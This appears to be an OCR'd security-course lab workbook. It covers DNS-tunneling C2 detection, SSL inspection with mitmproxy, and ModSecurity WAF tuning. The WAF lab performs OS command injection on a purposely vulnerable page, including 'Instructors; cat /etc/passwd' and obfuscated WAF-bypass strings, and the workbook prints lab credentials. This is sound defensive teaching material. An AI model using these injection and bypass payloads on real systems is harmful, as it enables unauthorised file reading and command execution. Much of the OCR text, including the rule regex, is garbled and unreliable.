Source/Dest

ODw oOWwowowow

:10.0.2.51
:8.8.8.8
:10.0.2.51
:8.8.8.8
:10.0.2.51
:8.8.8.8
:10.0.2.51
:8.8.8.8
:10.0.2.51
:8.8.8.8

Description

QUERY [CNAME |3af0157faff9ea0738907017a495c2f148f30ac11b049c961360464
faaafzgfatzma5921.cc109d202db3b23152564ba?ba33nd819a2c4?

QUER4c5015?fa1d8bbe89d21001de46546d?b4b406ba15c0b8666?fa.?8b9B
1fch8c76930a010e2a4.d27f1cf3f5103e284232d32ab31fdd388adcch.covertc2.com

QUERY MX 7627012e71c8386b11b1ed0069e4786bld.covertc2.com

ANSWER for 762?012e?108386b11b1ed006994?86b1 undefined

QUER - 8330157facc5e00cdalb301dfaf2fSbf3267ebaf22c77c9ff0dcBi43ae4.9
12a657e15070bfc5d.3a8d53e88fe3a3c257438522f0767909b85d6Hcoveric2.com]|

The compromised system is 10.0.2.51. The command and control traffic is DNS and is going to

covertc2.com.

Note: 8.8.8.8 is Google's public DNS server and is not malicious. In this case, the DNS tunneling is using
the proxy by design capabilities of DNS to route out to the internet using an authorized DNS server.

Bonus Answers- The system name for 10.0.2.51 is HR02. Prior to the DNS tunneling traffic the system
connected to www.labmeinc.com over HTTP. You can find the system name as well as the cousin
domain of www.labmeinc.com by looking at network metadata logs under the Events tab. Searching for
10.0.2.51 and drilling down on HTTP shows the initial connection to www.1labmeinc.com. Scrolling down
a little farther will also show 192.168.2.101 connecting to 10.0.2.51 over wsman. In this connection, the
hostname of HRO2 is identified.
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Stop all background services by running the fellowing commands.

$ sudo pwsh /labs/check.psl -check postcheck -lab 3.2

Lab Conclusion

In this lab, you have monitored IDS alerts and used network metadata to identify compromised activity. Also,
you have:

e |dentified alerts that generate false positives

e Applied logic to help combat false positives

e Learned weaknesses in traditional alert systems

e Discovered abnormal activity by analyzing network metadata

e Understood the need for both alerting and network monitoring

Lab 3.2 is now complete!
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Exercise 3.3 - Encryption Considerations

Objectives

Understand the pros and cons of network encryption

Learn the implications of encryption on network packet analysis

Implement an SSL inspection proxy

Apply a trusted certificate to authorize an SSL inspection proxy

Understand how defenders can handle network encryption to allow network analysis

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Before starting this lab, it is important that you restart your student VM. A reboot will make sure that Docker
networking is running as expected and that no iptables rules may effect this lab.

The command below will start up mitmproxy. This lab focuses on the impact of encryption on cyber defense
as well as methods for cyber defenders to overcome them using things such as SSL Inspection. The tool
mitmproxy is what will allow SSL inspection to occur.

$ sudo pwsh /labs/check.psl -check precheck -lab 3.3

The tool mitmproxy is an SSL interception web proxy. To use mitmproxy, you must configure your browser or
system to proxy to localhost using port 8080. You then can access the mitmproxy GUI interface by browsing to
http://localhost:8081. The certificate authority public key for mitmproxy is at
/labs/3.3/mitmproxy/mitmproxy-ca-cert.pem.

You will be setting up mitmproxy in a later step.
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Exercise: No hints

1. Use Wireshark and analyze traffic to https://www.sec530.com
e Canyou see the website's body in Wireshark?
e What effect would this have on network security solutions?
2. Access https://www.sec530.com using mitmproxy. What happens when you attempt to access the
website?
3. Deploy mitmproxy as a trusted service. Now access https://www.sec530.com.
e Can you see the website's body in mitmproxy?
e What effect would this have on network security solutions?
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Exercise — Step-by-step instructions

1. Analyze encrypted traffic

Note: Please DO NOT visit the website referenced below until you are told to. Otherwise Wireshark
results may not match due to browser caching.

The first step is to access https://www.sec530.com while capturing the traffic with Wireshark. To do this
first open Wireshark by clicking on the Wireshark icon in the top left corner of your student VM.

When Wireshark loads, click on eth0 and then click on Start capturing packets.

File  Edit View o Capture Analyze Statistics Telephony  Wirel

a3 C S - -
LIt

’ 4
Start capturing

Welcome to Wireshark

o Capture
...using this filter: | Enter a capture filter

any T
Loopback: lo
dockerd

Then open Google Chrome by clicking on the Google Chrome icon in the top left corner of your student
VM.

When Google Chrome opens, enter https://www.sec530.com in the search bar and then hit enter.

/ \ . _
/ [ https/imwwwsec530.cor x \\ | | &

- C 0O | @ Secure | https://www.sec530.com ‘h 'ii%| O
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When the page loads, you should see Welcome to SEC530 in the body of the web page.

/ [ https:/fwww.sec530.cor x\*-. \

“— C O | & Secure | https://www.sec530.com

Apps For quick access, place your bookmarks here on the bookmark

Welcome to SEC530 e

Switch back to Wireshark and click on Stop capturing packets.

File Edit View Go Capture Analyze

| e — | X ©
A | Appl

Mo, Time Source

Stop capturing packets |

In the section labeled "Apply a display filter" type in "frame contains www.sec530.com" without the
guotes and then click the Apply button.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dmp ORI Qe e §f | QQQ%
M | frame contains www.sec530.com - v

%

1l

You should have two Client Hello packets and you may have two Server Hello packets. SSL inspection may
cause the Server Hello packets to not have www.sec530.com in them. Right-click on either the Client
Hello or Server Hello packets displayed and then click on Follow and then TCP Stream.

[ ] | frame contains www.sec530.com

No. Time Source Destination Protocol  Lengtl Info
Ctrl+M
Ignore/Unignore Packet Ctrl+D
o Set/Unset Time Reference Ctrl+T
Time Shift... Ctri+Shift+T
Packet Comment... Crl+Alt+C &

p Extension: renegotiation_info (len=1)
¥ Extension: server_name (len=19)
Type: server_name (@)

Edit Resolved Mame

Length: 19 .
I Filt:

w Server Name Indication extension ARply as |ler !
Server Name list length: 17 Prepare a Filter ’
Server MName Type: host_name (8 ot BrnaRaniE feE .
Server Name length: 14 _ )

Colorize Conversation

Server Name: www.sec530.com
» Extension: extended _master_secret (len=0
p Extension: SessionTicket TLS (len=8)

SCTP |
Follow TCP Stream Ctrl+Alt+Shift+T

p Extension: signature_algorithms (len=20) |
p Extension: status_request (len=5) | | UDP Stream Ctri+Alt+Shift+U
B Cutancion: cinnnd norbificaba timeoctomn (o Copy L:
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This will cause Wireshark to show the packet information related to this connection. In the TCP stream,
you can see the TLS certificate information. This includes the subject alternative name of sec530.com and
the issuer of Let's Encrypt. However, you cannot see the body of the website that should state Welcome

to SEC530.
- Wireshark - Follow TCP Stream (tcp.stream eq 7) - eth0 - + X
T T . PSR A DeTER L I e e O e s e el
Y i iiee e WWW . SECH3E . COM. }. . .H. ..
.......................................... h2 . httpdl Aup. oo
T TSI | U, S O e EL=
by et B R o o e g e e 4 e D e 0.
s E P e e
i Wi T Y LU... . 6B1.68...U....Greater
Maochesteri .8, U, . S3alfordi. @, U,

;GEUHUDU CA Limited1806..U.../COMODO ECC Domain Validation Secure Server CA |

1983220000007 .

196892823595970k1!0...U. .. .Domain Control Validated1!®...U....PositiveSSL Multi-
Domaini#@!. .U....snis7431.cloudflaressl.com@yd...*.H.=....* .H.=....B.....".0.t.
....... B..&..M.{..8.8:.J.4..8.C......8

CEIME e mp s e R e s B e R e ag...q0...,o0..+v=.

B s b R B L e | B B e N B B e
e mre e o L R e R e et b e TR B S e N https://
secure.comodo.com/CPS6...Q..... ev..U...0eMeK.I.G.Enttp://crl.comodocad . com/
COMODOECCDomainValidationSecureServerCA2.crld. .. . +........ |BzBQ. .+.....

0..Ehttp://crt.comodocad.com/COMODOECCDomainvalidationSecureServerCA2. cri@k. .
Ein e e L LS

ocsp.comodocad.comB..a..U..... X@..T..sni57431.cloudflaressl.com. .*.

12Z2sao0.com. .*.128gao.com. . *.

13Zgao.com. .*.atomicheartpublishing.com..*.conferenceshropshire.com..*.golfinsh
ropshire.com..*.guvpruuhsyh.ga..*.highgrovebarns.co.uk.
*.javcode.xyz..*.ludlow-

shropshire.com..*.medgear.ru. .”.mikehaywardcollection.com. .".pamfayephotography
. COm pochfamail.icu. . *.ptreb.com. .*.giypcluntfl.cf..*.roadservicetowing.mobi
J * sflkgikxilf.ml..*.shropshireholidaylets.com..*.siansmale.com.
L BOCTATOamEsS . com. . * .somtamthai.nl. . *.stmem.com. . *. ujzowipvjki.ml. .*.visitlud

Note: Because the site uses TLS the web page content is not available. If the secret key was available, it
could be decrypted. However, this would only be the case if the website was under your organization's
control and it was not using strong encryption like perfect forward secrecy.

The website content of https://www.sec530.com is not visible due to encryption. This would adversely
affect network security tools such as IDS systems or NGFWs as they would be unable to perform layer-7
packet inspection.
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Go ahead and close out of Wireshark by clicking on Close to the Follow TCP Stream and then clicking on
the X in the top right corner of Wireshark.

Stream |6 j

Filter Out This Stream‘ | Print | | Save as... | |

- + X

7

When prompted if you want to save the packet capture, click on Quit without Saving.

b4 Unsaved packets... x
g Do you want to save the captured packets before quitting?

Your captured packets will be lost if you don't save them.

‘ Quit without Saving | | Cancel

2. Use untrusted SSL interception

The next step is to try accessing https://www.sec530.com using mitmproxy. To do this, you must
configure Google Chrome to use mitmproxy as its web proxy. Switch back to Google Chrome.

Left-click on the Proxy SwitchyOmega icon found at the top right of the browser and then click on
Options. This will open a new tab for configuring Proxy SwitchyOmega.

Proxy SwitchyOmega

Enable Quick Switch
Report issues

Save error log
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Click on New profile found on the left of the page.

PROFILES
proxy
& squid_auth
auto switch

=+ New profile...

Enter mitmproxy as the Profile Name and then click on Create.

MNew Profile

Profile name

mitmproxy

Please select the type of the profile:

® @ Proxy Profile

Tunneling traffic through proxy servers.

) 3 Switch Profile
Applying different profiles automatically on various conditions such as domains or
patterns. You can also import rules published online for easier switching. (Replaces
AutoSwitch mode + Rule List.)
. I PAC Profile

Choosing proxies using an online/local PAC script.

ou will only need this if you have a PAC script or a URL to it. Don't try to create one
unless you have knowledge about PAC.

. &) virtual Profile

A virtual profile can act as any of the other profiles on demand. It works well with
SwitchProfile, allowing you to change the result of multiple conditions by one cli

Cancel Create
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Change Protocol to HTTP and then enter localhost as the Server and 8080 as the port.

Proxy servers o
Scheme Protocol * Server / e Port e
‘ 8080 / S

(default) HTTP v localhost = ‘ &

v Show Advanced

Then remove all entries from the Bypass List and click on Apply changes.

& mitmproxy

Bypass List

proxy
Servers for which you do not want to
squid_auth _ .
quic_ (Wildcards and more available...)
auto switch

|
=+ New profile... \ o

ACTIONS MUST BE EMPTY
REMOVE ALL ENTRIES

@ Apply changes

Note: The bypass list is used to specify which IP addresses or hostnames should not go through the proxy.
Because you need to access the mitmproxy's GUI using http://localhost:8081 you had to remove
localhost from the list.

Close the SwitchyOmega Options tab by clicking the X next to it.
/. - J':)/O SwitchyOmega Options x\

s Q | ® Proxy SwitchyOmega | chromg%tens
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Now click on the Proxy SwitchyOmega icon and select the mitmproxy entry you just created.

i

# |0 :
J « [Direct] \_

[System Proxy]

mitmproxy

At this point, you are now using mitmproxy as your web proxy and the page will automatically reload.
When the page attempts to reload you are presented with an error message stating the certificate
authority is not valid.

Your connection is not private

Attackers might be trying to steal your information from www.sec530.com (for
example, passwords, messages, or credit cards). Learn more

NET:ERR_CERT_AUTHORITY_INVALID

If you press F12 on your keyboard, you can view the Security tab for the page and then click on View
certificate.

™ ﬂ Elements Console Sources MNetwork  Security ® i X

A

A Overview Security overview \

This page is not secure (broken HTTPS).

&  Certificate error

There are issues with the site's certificate chain
(net::ERR_CERT _AUTHORITY_INVALID).

View certificate h 9
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The certificate that is displayed shows it is for mitmproxy.

Certificate Viewer: hasecuritysolutions.com

General Details

This certificate has been verified for the following usages:

Issued To
Common Mame (CM) hasecuritysolutions.com
Organization (O) <Not Part Of Certificate>
Organizational Unit (OU)  <Not Part Of Certificate>
Issued By
Common Mame (CN) MITMproxy
Organization (O) MItmproxy
Organizational Unit (OU) ~ <Not Part Of Certificate>

Note: What is happening is that the mitmproxy service is acting as a proxy for TLS. The mitmproxy
service is accessing https://www.sec530.com using the website's normal TLS certificate, but then the
mitmproxy service is presenting Google Chrome the site using mitmproxy's own TLS certificate for the
site. This is how SSL inspection functions.

Click on the X for the Certificate Viewer and then the X on the Google Chrome developer view that
allowed you to click on View certificate.

Certificate Viewer: hasecuritysolutions.com a .
[ ﬂ Elements ~ Console Sources MNetwork Security » POx
A Overview Security overview /
A
This page is not secure (broken HTTPS).

Because Google Chrome does not trust the certificate authority in use by mitmproxy the browser is
throwing a certificate authority error. For SSL inspection to work the certificate authority of the SSL
inspection device or service must be trusted by all systems.
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3. Use trusted SSL interception

To configure Google Chrome to trust the certificate authority used by mitmproxy, click on the three-dot
icon located in the top right of the browser and then click on Settings.

Mew tab Ctrl+T
| Mew window Ctrl+M -
Mew incognito window  Ctri+Shift+M
History b
Downloads Ctrl+
Bookmarks b
Zoom - 100% + E
Print.. Ctrl+P
Cast...
Find... Ctrl+F
More tools b
Edit Cut Copy Paste

Next, scroll to the bottom of the Settings page and click on Advanced.

On startup

(®  Openthe New Tab page
() Continue where you left off

()  Open a specific page or set of pages

Advanced /
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Under Privacy and security find and click on Manage certificates.

Use a web service to help resolve spelling errors
Smarter spell-checking by sending what you type in the browser to Google

Manage certificates —
Manage HTTPS/SSL certificates and settings

Content settings
Control what information websites can use and what content they can show you

Click on the AUTHORITIES tab and then click on IMPORT.

YOUR CERTIFICATES SERVERS AUTHORITIES OTHERS

You have certificates on file that identify theﬂiﬁcme authorities 9 * IMPORT

When Open File pops up click on the left arrow next to student.

Open File

Then click on the hard drive icon.

Open File

'« @ Thome | ¥ student »

Next, double-click on the labs folder.

|4 :E{ home | 44 student | b
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Then double-click on the 3.3 folder.

Then double-click on the mitmproxy folder.
@ w[E)

Mame ‘

Finally, click on mitmproxy-ca-cert.pem and then click on Open.

E
MName

| | mitmproxy-ca.pem
B mitmproxy-ca-cert.pem

| | mitmproxy-dhparam.pem

* Size Modified
3.0kB 17:44

| Basef4-encoded ASCIL single cegtificate +

Cancel

When presented with the Trust Settings popup, check all three boxes and then click on OK.

Certificate authority x

The certificate "mitmproxy” represents a Certification Authority
Trust sgiings
Trust this certificate for identifying websites

« this certificate for identifying email users

Trust this certificate for identifying software makers

CAMCEL
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Close out of the Settings tab by clicking on the X for that tab.

Privacy error X /¢ Settings x

C 0 | ® Chrome | chrome://settings/cert \

Now refresh the page for https://www.sec530.com by clicking on the refresh icon.

r|1

/" Privacy error X\

e Cl{Or | A Notsecure | https://www.sec530.com

This time the page is loaded and shows as trusted. If you were to view the certificate again, it would still
show up from mitmproxy. However, since you added the mitmproxy certificate authority as trusted, the
certificate is considered valid.

Note: If for some reason the page does not load run the command "docker restart mitmproy".
The question left is how does having something like mitmproxy help defenders. To better understand

how SSL inspection helps change the website from https://www.sec530.com to http://localhost:8081
and hit enter.

B mitmproxy x
&« C 0O | [ localhost:8081

Find https://www.sec530.com in the Path list and click on it.

Note: The mitmproxy GUI page is a list of all web pages browsed while using mitmproxy as a web proxy.
The interface allows searching through content, extracting web page content, and saving session

information.
Path Method Status

1 https:/fwww.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansgé&xssi=t&q=http&oi... GET
| http:/hwww.gstatic.com/generate_204 GET 204
1 https://clients4.google.com/chrome-sync/experimentstatus POST 200
L:g—-| hitps:/iwww.sec530.com/ EGE— GET 200
-<:;| https:/iwww.sec530.com/favicon.ico GET 404
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The right pane shows information observed by mitmproxy about the connection. Click on Response to
see the server response mitmproxy observed to the request to load the web page.

Request | Response Details

GET https://w. .sec530.com/ HTTP/1.1

Host WwWW . 5echH30.com

Because mitmproxy is acting as an SSL inspection service, it is able to see the full server response
included the web page body of "Welcome to SEC530".

Request | Response | Details

Date Mon, 12 Mar 2018 84:57:57 GMT
Server Microsoft-IIS/10.8
Strict-Transport-Security max-age=31536000; includeSubdomains; preload
Last-Modified Mon, 12 Mar 20818 ©3:13:18 GMT
ETag "12-5672e86050Fa3"
Accept-Ranges bytes
Content-Length 18

Keep-Alive timeout=5, max=100
Connection Keep-Alive
Content-Type text/html

Welcome to SEC530 ilmmm—mu—e

The key advantage of an SSL inspection device is it allows network security services the ability to perform
layer-7 inspection. Thus, defenses rendered obsolete by network encryption now can be utilized again.

Note: Modern devices, such as NGFWs, may be able to take traffic from an SSL inspection service and
mirror to another device such as an IDS or NSM. SSL inspection can be implemented transparently.

In Google Chrome, disable the use of mitmproxy by left clicking on the Omega Proxy extension next to
the search bar and then clicking on System Proxy.

)

J «" |Direct] _#
| | © [System Proxy]

&  mitmproxy
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Then close out of Google Chrome and then stop mitmproxy by running the command below.

S docker stop mitmproxy

Lab Conclusion

In this lab, you have experienced the impact of network encryption on network analysis tools and identified
how to overcome this obstacle by:

e Implementing an SSL inspection proxy

e Trusting a custom certificate authority

e Routing traffic through an SSL inspection proxy

e Analyzing inspected traffic

Lab 3.3 is now complete!
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Exercise 4.1 — Securing Web Applications

Objectives

Learn how a web application firewall can implement virtual patching of a web application
Understand issues with a default tuned web application firewall

Build a web application firewall rule for parameter whitelisting

Monitor web application firewall rules

Secure a web application

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

Open Google Chrome and then browse to http://172.17.0.1/test.php. This is the web application you will be
interacting with for this lab.

Exercise: No hints

1. Abuse http://172.17.0.1/test.php so that it prints the contents of /etc/passwd to your browser
2. Enable ModSecurity for Apache and attempt to print the content of /etc/passwd again
e Isit successful?
e [f not, what rule or rules prevented the attack?
3. Bypass the web application firewall to run a valid OS command
e Why is this possible?
4. Create a custom rule whitelisting the dir parameter so that it only allows alphanumeric characters
e Areyou able to perform the attack from step 3?
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Exercise — Step-by-step instructions

1. Perform OS Injection

The first step is to access http://172.17.0.1/test.php. To do this enter http://172.17.0.1/test.php in the
Google Chrome search bar and hit enter.

- [ =] =
[Y SEC530 WAFTestPage X = £

'(_ C ) |(§} 172.17.0.1/test.php fiemmm 'i?r| O

The page lists a simple form. The form asks the user for a directory they would like the contents listed.

What directory would you like to list?

| Submit |

Under the hood PHP is being invoked to run dir + whatever the form submission contains.

Notice, the web application also calls out what the form is doing underneath the hood.

Note: Since PHP is running dir + user input from the form it is susceptible to OS injection. OS injection is
when abuse of a web form allows someone to run unauthorized operating system applications. The best
way to prevent this is for the web application to sanitize all input. Unfortunately, many web applications
are not properly coded.

To see how the application is intended to work, enter Instructors and click on Submit. Instructors must
start with a capital letter as Linux is case sensitive.

What directory would you like to list?

Instructors E o
| Submit | h

The resulting output will list files contained in the web server's Instructor folder. This is because the
working directory of the web server in your student VM is /var/www/sec530-wiki and inside that folder,
there is a folder called Instructors.

Requested directory listing is:

EricConrad.md JustinHenderson.md SethMisenar.md
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Note: As new instructors are added to SEC530 the output of this listing will change.

The intended behavior of this form is to list contents of folders on the website. However, since the web
application is not securely coded, OS command injection is possible. For example, enter "Instructors; cat
/etc/passwd" in the form and click on Submit.

What directory would you like to list? o
|Instructor5; cat /etc/passwd #

Submit *

This time the output contains the instructor files as well as the contents of /etc/passwd.

Requested directory listing is:

EricConrad.md JustinHenderson.md SethMisenar.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/ust/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/ust/sbin/nologin

Note: Under the hood PHP executed the command "dir Instructors; cat /etc/passwd". A semicolon in
bash allows more than one command to run at a time. In this case, the first command is "dir Instructors'
and the second command is "cat /etc/passwd".

In a perfect world, the web application would be updated to fix this vulnerability. However, that is not
always possible. Even if it is possible, it may take time. In both cases, a web application firewall can be
beneficial.

2. Enable and test ModSecurity WAF

The next step involves enabling ModSecurity and testing the OS injection attack again. To do this open a
terminal window by clicking on the terminal icon in the top left corner.
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Then run the command below to edit /etc/modsecurity/modsecurity.conf.

$ sudo gedit /etc/modsecurity/modsecurity.conf

If prompted for the password for the student account, enter Security530 and hit enter.

[~]1$ sudo gedit /etc/modsecurity/modsecurity.conf

[sudo] password for student:

A text editor will open /etc/modsecurity/modsecurity.conf. Currently, ModSecurity is installed but

disabled due to the entry "SecRuleEngine Off".

File Edit Wiew Search Tools Documents Help
# -- Rule engine initialization

# Enable ModSecurity, attaching it to
# only to start with, because that mi
installation

# disruption.

#
SecRuleEngine OFfT “
#5ecRuleEngine DetectionOnly
#SecRuleEngine On

Enable ModSecurity by adding a comment before "SecRuleEngine Off" and removing the comment from
"#SecRuleEngine On". After making these two changes, the file should look as follows:

File Edit View Search Tools Documents Help
# -- Rule engine initialization

# only art with, because that minimig

insta
# diéruption.
#

ﬁecRuleEngine Off

# Enable ﬂidSecurity, attaching it to everl

ecRuleEngine Detection0
SecRuleEngine On il
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Save the change by clicking on File and then clicking on Save. You may see errors in your terminal related
to gedit saving the file. You can ignore these.

Edit View Search Tools Docums
Me cerl+T [E1g

- Q

Open Recent

shirn
se

For the setting change to take effect, Apache must be restarted. Do this by running the command below
in your terminal.

S sudo service apache2 restart

Next, switch back to Chrome and submit "Instructors; cat /etc/passwd" again.
What directory would you like to list? o
|Instructor5; cat /etc/passwd #

Submit h

This time instead of seeing the output of /etc/passwd a generic error is displayed.

Forbidden

You don't have permission to access /test.php on this server.

Apache/2.4.18 (Ubuntu) Server at 172.17.0.1 Port 80

Note: The error stats you do not have access to /test.php. However, this is not true as
http://172.17.0.1/test.php is still accessible. The error message is being generated by ModSecurity
because one of its web application firewall rules has prevented a possible attack.
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To confirm that ModSecurity is the reason for the error page look at the Apache logs in
/var/log/apache2/error.log using the command below.

$ sudo cat /var/log/apache2/error.log

The last couple entries in the error.log file should be similar to the below output.

[Tue Mar 13 22:00:23.401706 2018] [:error] [pid 15621] [client
192.168.56.131] ModSecurity: Warning. Matched phrase "etc/passwd" at
ARGS:dir. [file "/etc/modsecurity/rules/REQUEST-930-APPLICATION-ATTACK-

LFI.conf"] [line "108"] [id "930120"] [rev "4"] [msg "OS File Access
Attempt"] [data "Matched Data: etc/passwd found within ARGS:dir:
instructors; cat /etc/passwd"] [severity "CRITICAL"] [ver

"OWASP _CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-
multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-
1£fi"] [tag "OWASP CRS/WEB ATTACK/FILE INJECTION"] [tag "WASCTC/WASC-
33"] [tag "OWASP TOP 10/A4"] [tag "PCI/6.5.4"] [hostname "172.17.0.1"]

[uri "/test.php"] [unique id "WgiCN38AAQEAADOF8EgAAAAA"]
[Tue Mar 13 22:00:23.401846 2018] [:error] [pid 15621] [client
192.168.56.131] ModSecurity: Warning. Pattern match
"2 INNNN NN ENNNN INNNN T F& T && TANAND AT FANNAS VNN CPVAVNANS VAN (VAN
CEINNANNS LFANNN CE>NNAN CPNNNN VNN S*ANNN) ) NN * (20 {TNANN S *NANN (\N\\\s* |
ANANNWH= (22 [ANNNNSTH IANNNNS X [ANANS X <o > 0% AN AN AN N\ s
A1 INNANS  TANANS) AANNANS* (2 PAN") % (20 TAVNNL2 00NN A VNV AN AN (VNN NN
SNANA AW NN /ZANNANNNNANT A7) 2 LNNANNNNNN AN T2 (20 TEANAANNANN AN *
." at ARGS:dir. [file "/etc/modsecurity/rules/REQUEST-932-
APPLICATION-ATTACK-RCE.conf"] [line "81"] [id "932100"] [rev "4"] [msg
"Remote Command Execution: Unix Command Injection"] [data "Matched
Data: ; cat /etc/passwd found within ARGS:dir: Instructors; cat

/etc/passwd"] [severity "CRITICAL"] [ver "OWASP CRS/3.0.0"] [maturity
"8"] [accuracy "8"] [tag "application-multi"] [tag "language-shell"]
[tag "platform-unix"] [tag "attack-rce"] [tag

"OWASP CRS/WEB ATTACK/COMMAND INJECTION"] [tag "WASCTC/WASC-31"] [tag
"OWASP _TOP 10/A1"] [tag "PCI/6.5.2"] [hostname "172.17.0.1"] [uri
"/test.php"] [unique id "WgiCN38AAQEAADOFS8EgAAAAA"]

[Tue Mar 13 22:00:23.401962 2018] [:error] [pid 15621] [client
192.168.56.131] ModSecurity: Warning. Matched phrase "etc/passwd" at
ARGS:dir. [file "/etc/modsecurity/rules/REQUEST-932-APPLICATION-ATTACK-
RCE.conf"] [line "448"] [id "932160"] [rev "1"] [msg "Remote Command
Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd
found within ARGS:dir: instructors cat/etc/passwd"] [severity
"CRITICAL"] [ver "OWASP CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag
"application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag
"attack-rce"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP TOP 10/A1"] [tag "PCI/6.5.2"] [hostname
"172.17.0.1"]1 [uri "/test.php"] [unique id "WgiCN38AAQEAADOFS8EgAAAAA"]
[Tue Mar 13 22:00:23.402415 2018] [:error] [pid 15621] [client
192.168.56.131] ModSecurity: Access denied with code 403 (phase 2).
Operator GE matched 5 at TX:anomaly score. [file
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"/etc/modsecurity/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line
"57"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score:
15)"] [severity "CRITICAL"] [tag "application-multi"™] [tag "language-
multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname
"172.17.0.1"] [uri "/test.php"] [unique id "WgqiCN38AAQEAADOFS8EgAAAAA"]
[Tue Mar 13 22:00:23.402607 2018] [:error] [pid 15621] [client
192.168.56.131] ModSecurity: Warning. Operator GE matched 5 at
TX:inbound anomaly score. [file "/etc/modsecurity/rules/RESPONSE-980-
CORRELATION.conf"] [line "73"] [id "980130"] [msg "Inbound Anomaly
Score Exceeded (Total Inbound Score: 15 -
SQLI=0,XSS=0,RFI=0,LFI=5,RCE=10, PHPI=0,HTTP=0, SESS=0): Remote Command
Execution: Unix Shell Code Found"] [tag "event-correlation"] [hostname
"172.17.0.1"] [uri "/test.php"] [unique id "WgiCN38AAQEAADOFS8EgAAAAA"]

These logs show that ModSecurity blocked the attempted attack because the submitted form tripped five
rules. Specifically, the rule IDs below were triggered.

930120
932100
932160
949110
980130

So the OS injection attack was prevented by ModSecurity with the five rule IDs above.

3. Test WAF bypass ability
It is great that the default ModSecurity Core Rule Set (CRS) rules are working. However, as a defender, it
is your responsibility to make sure defenses are in place and properly tuned to meet organizational risk

tolerance.

First, in your terminal run the following command so that you can see logs from ModSecurity.

$ tail -f /var/log/apache2/error.log

Note: This command will follow any changes made to the log file as they are made

The next step will be to access if the default rule sets are sufficient to protect our single page web
application. First, browse back to http://172.17.0.1/test.php in Chrome.
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[ SEC530WAF TestPage X

€  C 0} | ®172.17.0.1/testy

is" Apps For quick access, place your bookmarks he

What directory would you like to list?

Subimit

At this point, you can try to load /etc/passwd using various WAF bypass techniques. For example, try

submitting Instructors; cat /e"."tc/pass"."wd as shown in the image below.

What directory would you like to list?

-

Submit

Again, error page.

Forbidden

You don't have permission to access /test.php on this server.

Apache/2.4.18 (Ubuntu) Server at 172.17.0.1 Port 80

Looking at the logs though, only three rule IDs triggered. They are rule IDs 932100, 949110, and 980130.
This means two rule IDs were bypassed. In most cases, all rules must be bypassed for an attack to work.

Note: Feel free to attempt variations of attacks to output /etc/passwd. Regardless of success, it is clearly
significantly more difficult and much easier to detect an attack against this web application with

ModSecurity enabled.

Browse back to http://172.17.0.1/test.php or click the back button in Chrome.

[ 403 Forbidden x

€™ C 0 | ®172.17.0.1/test.

This time a different attack will be attempted. Try getting the output of ifconfig by submitting
"Instructors; ifconfig".
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What directory would you like to list?

|Instruct0r5: ifconfig ‘

Submit

Again, ModSecurity blocks the attempt to run ifconfig.

Forbidden

You don't have permission to access /test.php on this server.

Apache/2.4.18 (Ubuntu) Server at 172.17.0.1 Port 80

Browse back to http://172.17.0.1/test.php or click the back button in Chrome.

/[, 4032 Forbidden x

- I
e’c {} | ® 172.17.0.1/test.php

This time see if a scripting language like PowerShell is allowed. Do this by submitting "Instructors; pwsh -
h".

What directory would you like to list?

Submit

The results show pwsh can be run as the help listing for pwsh was successfully returned.

Requested directory listing is:

EricConrad.md JustinHenderson.md SethMisenar.md

Usage: pwsh[.exe] [[-File] [args]]

[-Command { - | [-args ]

[[1}]

[-ConfigurationName ] [-EncodedCommand ]

[-ExecutionPolicy | [-InputFormat {Text | XML }]

[-Interactive] [-NoExit] [-NoLogo] [-NonInteractive] [-NoProfile]
[-OutputFormat {Text | XML }] [-Version] [-WindowStyle
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PowerShell was able to run because the default rules and configuration do not account for it. Blacklisting
is a good thing and should be utilized. However, in many cases it is insufficient.

Note: Hopefully this demonstrates the need to go beyond default tuning for any security device. The
default rules of open source or commercial WAF solutions are a great start, but they are not sufficient
especially for critical assets that have access to high volumes of sensitive data.

Switch back to your terminal and hit CTRL + C to stop following the error.log file.

P, LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0):
ction"] [tag "event-correlation"] [ho
que id "WqiHcn8AAQEAADOICDOAAAAD"]

"C e

[~1$ ||

4. Use WAF whitelisting

The web application in use deals with submitting values to a field called dir. To protect this application,
you are going to create a custom ModSecurity rule that implements whitelisting for the dir parameter.

First, run the command below to create a new rule file in /etc/modsecurity/rules.

$ sudo gedit /etc/modsecurity/rules/local-rules.conf

When the text editor opens, enter the rule below into the text editor.

SecRule REQUEST FILENAME "@beginsWith /test.php" \
"chain, \
phase:2, \
deny, \
t:none, \
t:normalizePath, \
msg: 'Whitelist match failed - alphanumeric', \
id:'400001""
SecRule ARGS:dir "!~[a-zA-Z0-9]+Ss"

The resulting rule configuration should look as below:
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File Edit WView Search Tools Documents Help

SecRule REQUEST FILENAME "@beginsWith /test.php” \
"chain, \
phase:2, \
deny, \
t:none, \
t:normalizePath, \
msg: 'Whitelist match failed - alphanumeric', \
id:'4e0001"'"
